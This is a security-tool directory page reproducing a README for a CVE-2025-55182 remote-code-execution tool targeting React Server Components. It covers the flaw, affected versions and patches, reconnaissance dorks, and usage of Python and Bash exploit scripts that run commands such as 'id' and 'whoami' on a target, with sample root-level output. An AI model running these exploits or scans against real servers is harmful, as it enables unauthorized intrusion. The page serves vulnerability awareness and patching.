Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-55182 — A critical Remote Code Execution (RCE) vulnerability affecting the React Server Components (RSC) implementation within multiple packages including. | Kitploit
Tools/GitHubGitHub/cyberleelawat/cve-2025-55182
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & EducationPayload Development
GitHubcyberleelawat/cve-2025-55182

CVE-2025-55182

A critical Remote Code Execution (RCE) vulnerability affecting the React Server Components (RSC) implementation within multiple packages including.

11294 months agoNot yet reviewed
View Repository
Share

CVE-2025-55182 – React Server Components Remote Code Execution

React2Shell Banner CVE-2025-55182 CVE-2025-66478 CVSS

Create By : Virendra Kumar

Company : Cyber Leelawat

Website : www.cyberleelawat.in

Overview

CVE-2025-55182 is a critical Remote Code Execution (RCE) vulnerability affecting the React Server Components (RSC) implementation within multiple packages including:

  • react-server-dom-webpack
  • react-server-dom-turbopack
  • react-server-dom-parcel

The vulnerability exists due to unsafe deserialization of payloads sent via the internal Flight protocol used by RSC. When certain untrusted input flows through React Server Components via HTTP requests, server-side code execution may be triggered.

The affected versions include:

  • 19.0.0
  • 19.1.0
  • 19.1.1
  • 19.2.0

Patched versions include:

  • 19.0.1
  • 19.1.2
  • 19.2.1

How the vulnerability works (high level)

React Server Components accept client-side requests which are parsed and deserialized on the backend. The vulnerability arises from insufficient controls around deserialization of inbound data, allowing specially crafted payloads to be interpreted as executable server-side components.

When this happens, arbitrary JavaScript execution may occur on the server, which may lead to complete server compromise depending on the hosting environment and privileges.


Root Cause

  • Lack of proper input validation in RSC Flight protocol streams.
  • Server trust boundary incorrectly assumed safe.
  • Unsafe server-side parsing from untrusted user input.

Impact

If exploited, an attacker may be able to:

  • Achieve remote code execution
  • Execute arbitrary server-side commands
  • Access database or OS-level resources
  • Install malware or backdoors
  • Steal sensitive data
  • Perform lateral movement inside infrastructure

CVSS score: 10.0 – CRITICAL


Manual Testing (Safe Defensive Identification)

Primary objective:

Verify whether the application exposes React Server Components and whether affected versions are in use.

Step 1 — Check RSC presence via response characteristics

curl -I https://target.com/?__rsc=1

Google reconnaissance (defensive keywords)

These keywords help identify whether a public-facing repository or web application references RSC components.

"React Server Components" "Flight" inurl:src
"react-server-dom-webpack" filetype:lock
"server.references" "react"
"rsc" "react-dom"

Check:

  • Are RSC features present?
  • Packages visible in front-end bundles?
  • Public Git references?

Example Internal Google Queries (your own scope only)

site:yourdomain.com "react-server"
site:yourdomain.com "flight" "react"
site:yourdomain.com "rsc"

Intended for internal auditing of your organization’s domain only.


Shodan (SAFE technology fingerprinting)

Check exposed framework use, not vulnerability exploitation.

http.title:"Next.js"
"powered by" "Next.js"
X-Powered-By: Next.js
http.favicon.hash=

FOFA Technology Classification Only

title="Next.js"
header="next-router-state-tree"
body="/_next/static/"
server="next"

Automated Testing (Internal / Lab)

To automate defensive scanning, clone template-based detection logic for your own infrastructure assessment:

git clone https://github.com/cyberleelawat/CVE-2025-55182.git
cd CVE-2025-55182

Nuclei Template

$ nuclei -u http://localhost:3001 -t cve-2025-55182.yaml

[cve-2025-55182:command_output] [http] [critical] http://localhost:3001 ["uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"]
[INF] Scan completed in 28.35483ms. 1 matches found.

Python RCE Exploit (CVE-2025-55182.py)

Full-featured RCE exploit script that executes arbitrary commands and retrieves output.

Usage:

python3 CVE-2025-55182.py http://target.com:3000 -c "id"
python3 CVE-2025-55182.py https://target.com -c "whoami" --no-check-ssl
python3 CVE-2025-55182.py 192.168.1.100:3000 -c "uname -a"

Bash Exploit

Installation

chmod +x scanner.sh

Usage

# Scan with default command (id)
./scanner.sh -d example.com

# Execute custom command
./scanner.sh -d example.com -c "whoami"

# With full URL
./scanner.sh -d https://example.com -c "uname -a"

Options

  • -d, --domain - Target domain/URL (required)
  • -c, --command - Command to execute (default: id)

Examples

# Check if target is vulnerable
./scanner.sh -d vulnerable-app.com

# Get system information
./scanner.sh -d vulnerable-app.com -c "uname -a"

# List files
./scanner.sh -d vulnerable-app.com -c "ls -la /tmp"

Requirements

  • Bash

  • curl

  • openssl

    Credit: Bash and Python script originally created by @zack0x01 and @sickwell. Used with appreciation.

Templates inside the repository are intended for:

  • version identification
  • visibility checks
  • infrastructure inventory
  • vulnerability awareness

IMPORTANT: These templates must only be executed on systems you own or are authorized to assess.


Nuclei (Defensive Usage Statement)

Nuclei templates included in this repository are intended solely for:

  • dependency version validation
  • indirect fingerprinting
  • passive checks
  • internal security auditing

Please ensure:

  • you have written authorization
  • you are scanning only your own assets
  • you comply with local laws and policy

Recommended Mitigations

Update immediately

Upgrade to one of the patched releases:

  • 19.0.1
  • 19.1.2
  • 19.2.1

If you cannot patch immediately

  • disable RSC features temporarily
  • isolate server components
  • implement WAF rules
  • restrict exposed network surface

🤝 Connect With Me

👨‍💻 Cyber Leelawat

Security Researcher • Cyber Security Trainer • Bug Bounty Hunter

Motto: Zero Trust Full Secure 🚀

GitHub Instagram
LinkedIn WhatsApp Channel
WhatsApp Group

Conclusion

CVE-2025-55182 is currently one of the most critical threats to React-based infrastructures. Due to the trivial exploitation vector and unauthenticated attack surface, instant patching is strongly advised. Any organization running affected RSC versions should consider emergency prioritization.


Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    933
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    551
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    354
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    351
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    332
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →